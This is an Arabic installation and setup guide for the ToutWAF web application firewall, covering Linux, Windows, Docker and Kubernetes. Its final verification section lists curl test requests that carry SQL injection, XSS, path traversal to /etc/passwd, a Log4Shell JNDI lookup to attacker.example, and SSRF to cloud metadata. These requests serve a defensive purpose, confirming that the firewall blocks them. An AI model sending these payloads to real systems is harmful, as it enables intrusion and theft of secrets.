ثبّت ToutWAF خطوة بخطوة

إجراءات جاهزة للنسخ واللصق لنظام AlmaLinux 10 وتوزيعات Linux الأخرى وWindows وDocker وKubernetes. ملفات تنفيذية أصلية: لا حاجة لتثبيت أي بيئة تشغيل. ثم شغّل المعالج وبدّل DNS وتحقق.

أي إصدار ستثبّت

الإصدار العام هو إصدار تطوير باسم 0.3.0-dev. يبقى اسمه ثابتاً: كل نشر يحلّ محل السابق، ويميّز معرّف البناء بين بنائين. لا يوجد إصدار مستقر بعد: لن يُنشر إلا بعد اختبار كل نظام وكل حزمة من البداية إلى النهاية. لذلك تثبّت الأوامر في هذه الصفحة من قناة dev. قد يحتوي إصدار التطوير على أخطاء: جرّبه على موقع اختبار قبل أن تعتمد عليه.

المتطلبات

خادم 64 بت (amd64 أو arm64) يعمل بنظام Linux أو Windows، مع صلاحيات root أو مسؤول، والمنفذان 80 و443 متاحان. تستمع وحدة التحكم على المنفذ 9443 تحت مسار سري. تفاصيل المتطلبات والاعتماديات أدناه مباشرة.

المتطلبات والاعتماديات

ما يحتاجه خادمك، وما يضيفه المثبّت، وما يبقى اختيارياً.

الأنظمة المدعومة

Linux مع systemd 239 أو أحدث وglibc 2.28 أو أحدث، على amd64 أو arm64: AlmaLinux وRocky Linux وRHEL وOracle Linux من 8 إلى 10، وCentOS Stream وFedora وAmazon Linux 2023 وDebian من 11 إلى 13 وUbuntu من 20.04 إلى 26.04 وopenSUSE وArch (الجدول الكامل أدناه). وWindows 10 و11 وServer من 2016 إلى 2025 (لم تُشغَّل بعد على مضيف Windows حقيقي). يفحص برنامج التثبيت نظامك قبل أن يغيّر أي شيء. الخوادم التي تضيفها من وحدة التحكم: وكيل المضيف متوفر لنظام Linux (amd64 وarm64) ولنظام Windows (amd64).

منافذ الشبكة

80 و443: حركة الويب (مستوى البيانات). 9443: وحدة التحكم (يمكن تغييره بالخيار --cp-port). 9444: واجهة API التي تستخدمها عقد مستوى البيانات ووكلاء الخوادم؛ لا يفتحها المثبّت، فاسمح بها من خوادمك فقط. 127.0.0.1:9101: نقطة فحص الحالة المحلية. يبقى UDP 443 مغلقاً (HTTP/3 غير منفَّذ). يقوم وكلاء الخوادم باتصالات صادرة فقط نحو المنفذ 9444.

ما يفعله المثبّت

يتطلب صلاحيات root أو مسؤول واتصال HTTPS صادراً لتنزيل الإصدار. يثبّت curl وtar وlibcap إن كانت ناقصة (وpolicycoreutils-python-utils على أنظمة SELinux)، وينشئ مستخدماً بلا صلاحيات اسمه toutwaf ومجلد تثبيت واحداً (/var/toutwaf ويضم bin وconf وdata وlogs؛ يغيّره --home DIR، ويحتفظ التثبيت الأقدم بمساراته)، ويثبّت خدمات systemd مُحصَّنة (خدمات Windows على Windows)، ويتيح لمستوى البيانات استخدام المنفذين 80 و443 دون root، ويفتح جدار الحماية افتراضياً عندما يكون firewalld أو ufw نشطاً (80 و443 ومنفذ لوحة التحكم؛ يقيّد --console-from اللوحة ويعطّله --no-firewall)، ويضع وسوم SELinux للملفات، ويتحقق من مجاميع SHA-256.

لغة المثبّت

الإنجليزية افتراضياً؛ يكتشف المثبّت لغة النظام. افرض لغة بالخيارات --fr --de --es --it --pt --nl --ru --zh --ar أو --en (على Windows: ‎-Fr وهكذا، أو المتغير TOUTWAF_LANG).

ملفات تنفيذية مستقلة

كُتب مستوى البيانات بلغة Rust، ومستوى التحكم والوكيل بلغة Go، وتُضمَّن وحدة التحكم في مستوى التحكم. لا حاجة لتثبيت بيئة تشغيل Python أو Node.js أو Java ولا خادم قواعد بيانات: تُخزَّن البيانات في SQLite. يتطلب مستوى البيانات المكتوب بـ Rust الإصدار 2.28 من glibc أو أحدث. أهم المكونات الخارجية: tokio وhyper وrustls (Rust) وSvelte وxterm.js (وحدة التحكم).

مكونات اختيارية

ClamAV لفحوص مضاد الفيروسات على مضيفي Linux (يمكن لوحدة التحكم تثبيته لك)؛ وMicrosoft Defender على Windows. لا يلزم openssl إلا إذا فعّلت التحقق من توقيع الإصدارات، ولا cosign إلا إذا أردت التحقق من التواقيع. Docker غير مطلوب: بيانات Docker وKubernetes طرق نشر بديلة.

ToutPanel (خادم استضافة الويب)

يُثبَّت من وحدة التحكم عبر SSH أو بمثبّته الخاص. Linux: Debian من 11 إلى 13 وUbuntu من 20.04 إلى 24.04 وAlmaLinux وRocky Linux وRHEL 9 و10 وFedora 40 وما بعده. Windows 10 و11 وWindows Server من 2016 إلى 2025. يتطلب root وbash (Linux) أو PowerShell 5.1+ بصلاحيات المسؤول (Windows) وPython من 3.9 إلى 3.14 (يثبّته السكربت إذا وفّرته التوزيعة) وذاكرة 1 جيجابايت على الأقل (يُنصح بـ 2 جيجابايت مع MariaDB وPHP) و2 جيجابايت من القرص الحر إضافة إلى مواقعك واتصال HTTPS صادر. تستمع لوحته افتراضياً على المنفذ 8888؛ والمنفذان 80 و443 لخدمة المواقع. المصدر: ملف README الخاص بـ ToutPanel.

لا ينشر ToutWAF بعد حدوداً دنيا للمعالج أو الذاكرة أو القرص: حدّد حجم خادمك باختبار على حركتك الخاصة.

الأنظمة المدعومة

يفحصها برنامج التثبيت قبل أن يغيّر أي شيء. وتأتي الحالات من بيانات برنامج التثبيت نفسه.

  • tested نجح اختبار التثبيت الكامل في حاوية على هذا الإصدار بالضبط.
  • expected العائلة نفسها وglibc وsystemd حديثان بما يكفي، لكن الاختبار الكامل لم يجرِ.
  • unsupported يُرفض قبل أي تغيير (يمكن تجاوزه على مسؤوليتك بـ--skip-os-check).
amd64supportedarm64supportedarm32unsupported
التوزيعةالإصدارات
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEجميع الإصداراتexpected
Pop!_OSجميع الإصداراتexpected
Zorin OSجميع الإصداراتexpected
elementary OSجميع الإصداراتexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)جميع الإصداراتunsupported
Devuanجميع الإصداراتunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeonجميع الإصداراتunsupported
openSUSE MicroOS / Aeon / Kalpaجميع الإصداراتunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxجميع الإصداراتunsupported
Alpine Linuxجميع الإصداراتunsupported
Void Linuxجميع الإصداراتunsupported
NixOSجميع الإصداراتunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
للفحص دون تثبيت: sudo bash install.sh --check-compat (على Windows: -CheckCompat). رمز الخروج 0 إن كان متوافقًا و3 إن لم يكن. وللمتابعة على مسؤوليتك على نظام غير مدعوم استخدم --skip-os-check: لا يحدث ذلك بصمت أبدًا ولا يتجاوز رفض ARM بـ32 بت.
Raspberry Pi وخوادم arm64 الأخرى: تحتاج Raspberry Pi 3 و4 و5 وZero 2 W إلى نظام 64 بت (Raspberry Pi OS بـ64 بت أو Ubuntu أو Debian arm64). لم يعمل إصدار arm64 إلا تحت المحاكاة ولم يعمل قط على عتاد حقيقي ولا يوجد أي اختبار أداء. وبنية ARM بـ32 بت تُرفض.
Windows 10 (1809 وما بعده) و11 وServer من 2016 إلى 2025 هي expected: لم يُشغَّل برنامج تثبيت Windows على مضيف Windows حقيقي. وبناء Windows ARM64 جرى تصريفه تصريفًا متقاطعًا فقط ولم يُشغَّل قط.
Docker: اختُبرت الصورة الشاملة على Linux amd64 فقط. ولم يُختبر Mac بـApple Silicon ولا Intel، ولا يتوفر macOS الأصلي.

معالج الإعداد: من الصفر إلى موقع محمي

عند أول تشغيل، يأخذك معالج الويب من الصفر إلى موقع محمي في وضع الكشف دون أن يكسر شيئاً.

النطاق والخادم الأصلي

أدخل النطاق العام وعنوان خادمك.

شهادة تلقائية

تُطلب شهادة من الجهة التي تختارها (Let's Encrypt افتراضياً) وتُجدَّد نيابةً عنك.

اكتشاف التقنيات

يتعرف ToutWAF على WordPress وLaravel وDjango وغيرها.

قالب السياسة

يُقترح قالب مناسب. راجعه أو أبقِ الافتراضي.

وضع الكشف

تُحلَّل الحركة دون حظر لعدة أيام، ثم يُعدّ تقرير.

الانتقال إلى الحظر

نقرة واحدة للتطبيق ونقرة واحدة للتراجع.

تقرير كشف بعد 7 أيام (مثال)
  • ✓سيُسمح بنسبة 99.8% من الحركة
  • !3 قواعد تسبب 95% من الإنذارات الكاذبة
  • ✓3 استثناءات مقترحة جاهزة للمراجعة

حدّث النظام وثبّت المتطلبات الأساسية

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

ثبّت باستخدام المثبّت ذي السطر الواحد

ينزّل السكربت الملفات التنفيذية الأصلية المناسبة لمعماريتك، وينشئ مستخدماً مخصصاً بلا امتيازات، ويثبّت خدمتي systemd المحصّنتين toutwaf-dp (مستوى البيانات، المنفذان 80 و443) وtoutwaf-cp (مستوى التحكم ووحدة التحكم، المنفذ 9443)، ثم يطبع بيانات تسجيل الدخول الأول.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

تفضّل قراءة السكربت أولاً؟

نزّله وراجعه ثم شغّله. موصى به لخوادم الإنتاج.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

خيارات المثبّت

يقيم التثبيت الجديد في مجلد رئيسي واحد هو /var/toutwaf (يضم bin وconf وdata وlogs؛ غيّره عبر --home DIR أو TOUTWAF_HOME)، وتُربط أدوات سطر الأوامر في /usr/local/bin. أما التثبيت الأقدم فيحتفظ بمساراته (/etc/toutwaf و/var/lib/toutwaf) ولا يُنقل أبداً.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

افتح جدار الحماية

يفتح المثبّت هذه المنافذ افتراضياً عندما يكون firewalld أو ufw نشطاً: 80 و443، ومنفذ لوحة التحكم 9443 (قيّده بشبكة الإدارة لديك عبر --console-from). أما منفذ الوكلاء 9444 فلا يُفتح للعموم أبداً. لا تحتاج إلى هذه الأوامر إلا مع --no-firewall أو مع جدار حماية آخر أو لإجراء ذلك يدوياً.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

أبقِ SELinux في وضع enforcing. ضع الوسوم على أدلة ToutWAF وتأكد من عدم تسجيل أي رفض AVC.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

إدارة الخدمات

تبدأ الخدمتان عند الإقلاع. استخدم هذه الأوامر لتشغيلهما أو إيقافهما أو إعادة تشغيلهما.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

تحقق من الخدمات

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

الترقية

خذ نسخة احتياطية من الإعدادات والبيانات ثم شغّل المثبّت من جديد: يحتفظ بإعداداتك ويتراجع تلقائياً إذا لم يصبح الإصدار الجديد سليماً. المسارات المعروضة هي مسارات تثبيت جديد (/var/toutwaf)؛ أما التثبيت الأقدم فيحتفظ بـ /etc/toutwaf و/var/lib/toutwaf. يمكنك أيضاً التحديث من اللوحة عبر صفحة التحديثات.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

إلغاء التثبيت

تزيل الكتلة الأولى الخدمات والملفات التنفيذية وقواعد جدار الحماية التي أضافها ToutWAF وتُبقي بياناتك. وتحذف الثانية أيضاً الإعدادات والبيانات والسجلات.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

حدّث النظام وثبّت المتطلبات الأساسية

يستخدم Rocky Linux وRHEL 8 إلى 10 وغيرها من مشتقات Enterprise Linux الأوامر نفسها المستخدمة في AlmaLinux. بعد التثبيت، اتبع خطوات firewalld وSELinux في تبويب AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

ثبّت باستخدام المثبّت ذي السطر الواحد

ينزّل السكربت الملفات التنفيذية الأصلية المناسبة لمعماريتك، وينشئ مستخدماً مخصصاً بلا امتيازات، ويثبّت خدمتي systemd المحصّنتين toutwaf-dp (مستوى البيانات، المنفذان 80 و443) وtoutwaf-cp (مستوى التحكم ووحدة التحكم، المنفذ 9443)، ثم يطبع بيانات تسجيل الدخول الأول.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

تفضّل قراءة السكربت أولاً؟

نزّله وراجعه ثم شغّله. موصى به لخوادم الإنتاج.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

خيارات المثبّت

يقيم التثبيت الجديد في مجلد رئيسي واحد هو /var/toutwaf (يضم bin وconf وdata وlogs؛ غيّره عبر --home DIR أو TOUTWAF_HOME)، وتُربط أدوات سطر الأوامر في /usr/local/bin. أما التثبيت الأقدم فيحتفظ بمساراته (/etc/toutwaf و/var/lib/toutwaf) ولا يُنقل أبداً.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

إدارة الخدمات

تبدأ الخدمتان عند الإقلاع. استخدم هذه الأوامر لتشغيلهما أو إيقافهما أو إعادة تشغيلهما.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

تحقق من الخدمات

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

الترقية

خذ نسخة احتياطية من الإعدادات والبيانات ثم شغّل المثبّت من جديد: يحتفظ بإعداداتك ويتراجع تلقائياً إذا لم يصبح الإصدار الجديد سليماً. المسارات المعروضة هي مسارات تثبيت جديد (/var/toutwaf)؛ أما التثبيت الأقدم فيحتفظ بـ /etc/toutwaf و/var/lib/toutwaf. يمكنك أيضاً التحديث من اللوحة عبر صفحة التحديثات.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

إلغاء التثبيت

تزيل الكتلة الأولى الخدمات والملفات التنفيذية وقواعد جدار الحماية التي أضافها ToutWAF وتُبقي بياناتك. وتحذف الثانية أيضاً الإعدادات والبيانات والسجلات.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

ثبّت المتطلبات الأساسية (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

ثبّت باستخدام المثبّت ذي السطر الواحد

ينزّل السكربت الملفات التنفيذية الأصلية المناسبة لمعماريتك، وينشئ مستخدماً مخصصاً بلا امتيازات، ويثبّت خدمتي systemd المحصّنتين toutwaf-dp (مستوى البيانات، المنفذان 80 و443) وtoutwaf-cp (مستوى التحكم ووحدة التحكم، المنفذ 9443)، ثم يطبع بيانات تسجيل الدخول الأول.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

تفضّل قراءة السكربت أولاً؟

نزّله وراجعه ثم شغّله. موصى به لخوادم الإنتاج.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

خيارات المثبّت

يقيم التثبيت الجديد في مجلد رئيسي واحد هو /var/toutwaf (يضم bin وconf وdata وlogs؛ غيّره عبر --home DIR أو TOUTWAF_HOME)، وتُربط أدوات سطر الأوامر في /usr/local/bin. أما التثبيت الأقدم فيحتفظ بمساراته (/etc/toutwaf و/var/lib/toutwaf) ولا يُنقل أبداً.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

افتح جدار الحماية (ufw)

يفتح المثبّت هذه المنافذ افتراضياً عندما يكون firewalld أو ufw نشطاً: 80 و443، ومنفذ لوحة التحكم 9443 (قيّده بشبكة الإدارة لديك عبر --console-from). أما منفذ الوكلاء 9444 فلا يُفتح للعموم أبداً. لا تحتاج إلى هذه الأوامر إلا مع --no-firewall أو مع جدار حماية آخر أو لإجراء ذلك يدوياً.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

إدارة الخدمات

تبدأ الخدمتان عند الإقلاع. استخدم هذه الأوامر لتشغيلهما أو إيقافهما أو إعادة تشغيلهما.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

تحقق من الخدمات

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

الترقية

خذ نسخة احتياطية من الإعدادات والبيانات ثم شغّل المثبّت من جديد: يحتفظ بإعداداتك ويتراجع تلقائياً إذا لم يصبح الإصدار الجديد سليماً. المسارات المعروضة هي مسارات تثبيت جديد (/var/toutwaf)؛ أما التثبيت الأقدم فيحتفظ بـ /etc/toutwaf و/var/lib/toutwaf. يمكنك أيضاً التحديث من اللوحة عبر صفحة التحديثات.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

إلغاء التثبيت

تزيل الكتلة الأولى الخدمات والملفات التنفيذية وقواعد جدار الحماية التي أضافها ToutWAF وتُبقي بياناتك. وتحذف الثانية أيضاً الإعدادات والبيانات والسجلات.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

افتح PowerShell كمسؤول وشغّل المثبّت

يثبّت الملفات التنفيذية الأصلية، ويسجّل خدمة Windows باسم ToutWAF لمستوى البيانات ومهمة بدء التشغيل لوحدة التحكم، ويفتح منافذ جدار الحماية. لم يُشغَّل المثبّت بعد على مضيف Windows حقيقي.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

افتح جدار الحماية

يفتح المثبّت هذه المنافذ افتراضياً عندما يكون firewalld أو ufw نشطاً: 80 و443، ومنفذ لوحة التحكم 9443 (قيّده بشبكة الإدارة لديك عبر --console-from). أما منفذ الوكلاء 9444 فلا يُفتح للعموم أبداً. لا تحتاج إلى هذه الأوامر إلا مع --no-firewall أو مع جدار حماية آخر أو لإجراء ذلك يدوياً.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

تحقق من الخدمات

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

الترقية

خذ نسخة احتياطية من الإعدادات والبيانات ثم شغّل المثبّت من جديد: يحتفظ بإعداداتك ويتراجع تلقائياً إذا لم يصبح الإصدار الجديد سليماً. المسارات المعروضة هي مسارات تثبيت جديد (/var/toutwaf)؛ أما التثبيت الأقدم فيحتفظ بـ /etc/toutwaf و/var/lib/toutwaf. يمكنك أيضاً التحديث من اللوحة عبر صفحة التحديثات.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

إلغاء التثبيت

تزيل الكتلة الأولى الخدمات والملفات التنفيذية وقواعد جدار الحماية التي أضافها ToutWAF وتُبقي بياناتك. وتحذف الثانية أيضاً الإعدادات والبيانات والسجلات.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose على Mac أو Linux

Docker Compose على Linux أو Mac (Docker Desktop أو OrbStack أو Colima) مع الصورة المتكاملة (مستوى التحكم ومستوى البيانات). تأتي الملفات مع توزيعة ToutWAF لديك (مجلد deploy، وهو غير موجود في المستودع العام الذي لا يضم سوى البرامج والمثبّتات). تتضمن الصورة ملفات ثنائية مبنية مسبقاً لكل بنية (bin/amd64 أو bin/arm64) ولا تُنشر أي صورة في سجل بعد. اختُبرت على Linux amd64 فقط؛ ولم تُختبر على Mac حقيقي، حيث يكون عنوان IP الظاهر للعميل خلف Docker Desktop هو عنوان بوابة Docker. وتظهر بيانات الدخول لمرة واحدة مرة واحدة في سجل مستوى التحكم.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

الترقية (الحاويات)

أنشئ نسخة احتياطية أولاً. لا يمكن لزر التحديث في وحدة التحكم أن يعمل داخل حاوية: استبدل الملفات الثنائية في مجلد bin (أو الصورة حين تُنشر واحدة) وأعد البناء؛ وتبقى الأحجام، أي بياناتك.

bash
docker compose up -d --build

إلغاء التثبيت

تزيل الكتلة الأولى الخدمات والملفات التنفيذية وقواعد جدار الحماية التي أضافها ToutWAF وتُبقي بياناتك. وتحذف الثانية أيضاً الإعدادات والبيانات والسجلات.

bash
docker compose down
purge
docker compose down -v

ثبّت باستخدام Helm

ينشر مستوى البيانات كـ ingress، ومعه مستوى تحكم داخل العنقود إن رغبت. المخطط وملفات البيان (بما فيها وضع sidecar) في مجلد deploy بتوزيعة ToutWAF لديك، لا في المستودع العام الذي لا يضم سوى البرامج والمثبّتات. والمشغّل مجرد CRD وهيكل أولي.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

تحقق من الحاويات (pods) وافتح وحدة التحكم

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

الترقية (الحاويات)

أنشئ نسخة احتياطية أولاً. لا يمكن لزر التحديث في وحدة التحكم أن يعمل داخل حاوية: استبدل الملفات الثنائية في مجلد bin (أو الصورة حين تُنشر واحدة) وأعد البناء؛ وتبقى الأحجام، أي بياناتك.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

إلغاء التثبيت

تزيل الكتلة الأولى الخدمات والملفات التنفيذية وقواعد جدار الحماية التي أضافها ToutWAF وتُبقي بياناتك. وتحذف الثانية أيضاً الإعدادات والبيانات والسجلات.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

بعد التثبيت: اضبط وتحقق

تسجيل الدخول الأول

افتح رابط وحدة التحكم السري الذي يظهر في نهاية التثبيت (لا تستجيب وحدة التحكم إلا تحت هذا المسار)، ثم استخدم رابط الإعداد لمرة واحدة أو كلمة مرور المسؤول المُولَّدة مرة واحدة في الملخص. فعّل المصادقة الثنائية فوراً وأنشئ مسؤولاً ثانياً كي لا يُغلَق عليك الوصول أبداً.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

أضف موقعك الأول

في صفحة المواقع انقر على موقع جديد وأدخل النطاق العام وupstream (العنوان الحقيقي لخادمك). ابدأ بوضع الكشف فقط، ثم انتقل إلى الحظر عندما يبدو التقرير نظيفاً. يمكنك أيضاً إنشاء المواقع عبر REST API ورمز API.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

بدّل DNS

اخفض TTL لسجلاتك قبل يوم. ثم وجّه سجلات A / AAAA للنطاق إلى خادم ToutWAF. بعد انتشار DNS تُصدَر الشهادة. قيّد جدار حماية الخادم الأصلي بحيث لا يصل إليه سوى خادم ToutWAF.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

تحقق بهجمات اختبارية

يجب أن يعيد كل طلب من هذه الطلبات الرمز 403 وأن يظهر في الهجمات (في وضع الحظر). شغّلها فقط على مواقعك الخاصة.

في PowerShell على Windows استخدم curl.exe بدلاً من curl لأنه اسم مستعار.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

استكشاف الأخطاء

لا يمكن الوصول إلى وحدة التحكم على المنفذ 9443

شغّل طبيب ToutWAF على الخادم: يفحص الخدمات والمنافذ وجدار حماية الجهاز ويخبرك بما يجب فعله. ويعمل أيضاً من سطر الأوامر حين تتعذر وحدة التحكم نفسها؛ ويجب أن تسمح مجموعة الأمان السحابية الواقعة أمام الخادم بمرور المنفذ 9443 كذلك.

تُحظر طلبات مشروعة (إنذارات كاذبة)

افتح الحدث في الهجمات واقرأ الشرح، ثم انقر زر الإنذار الكاذب لإنشاء أضيق استثناء، أو اخفض مستوى الارتياب للموقع.

502 Bad Gateway

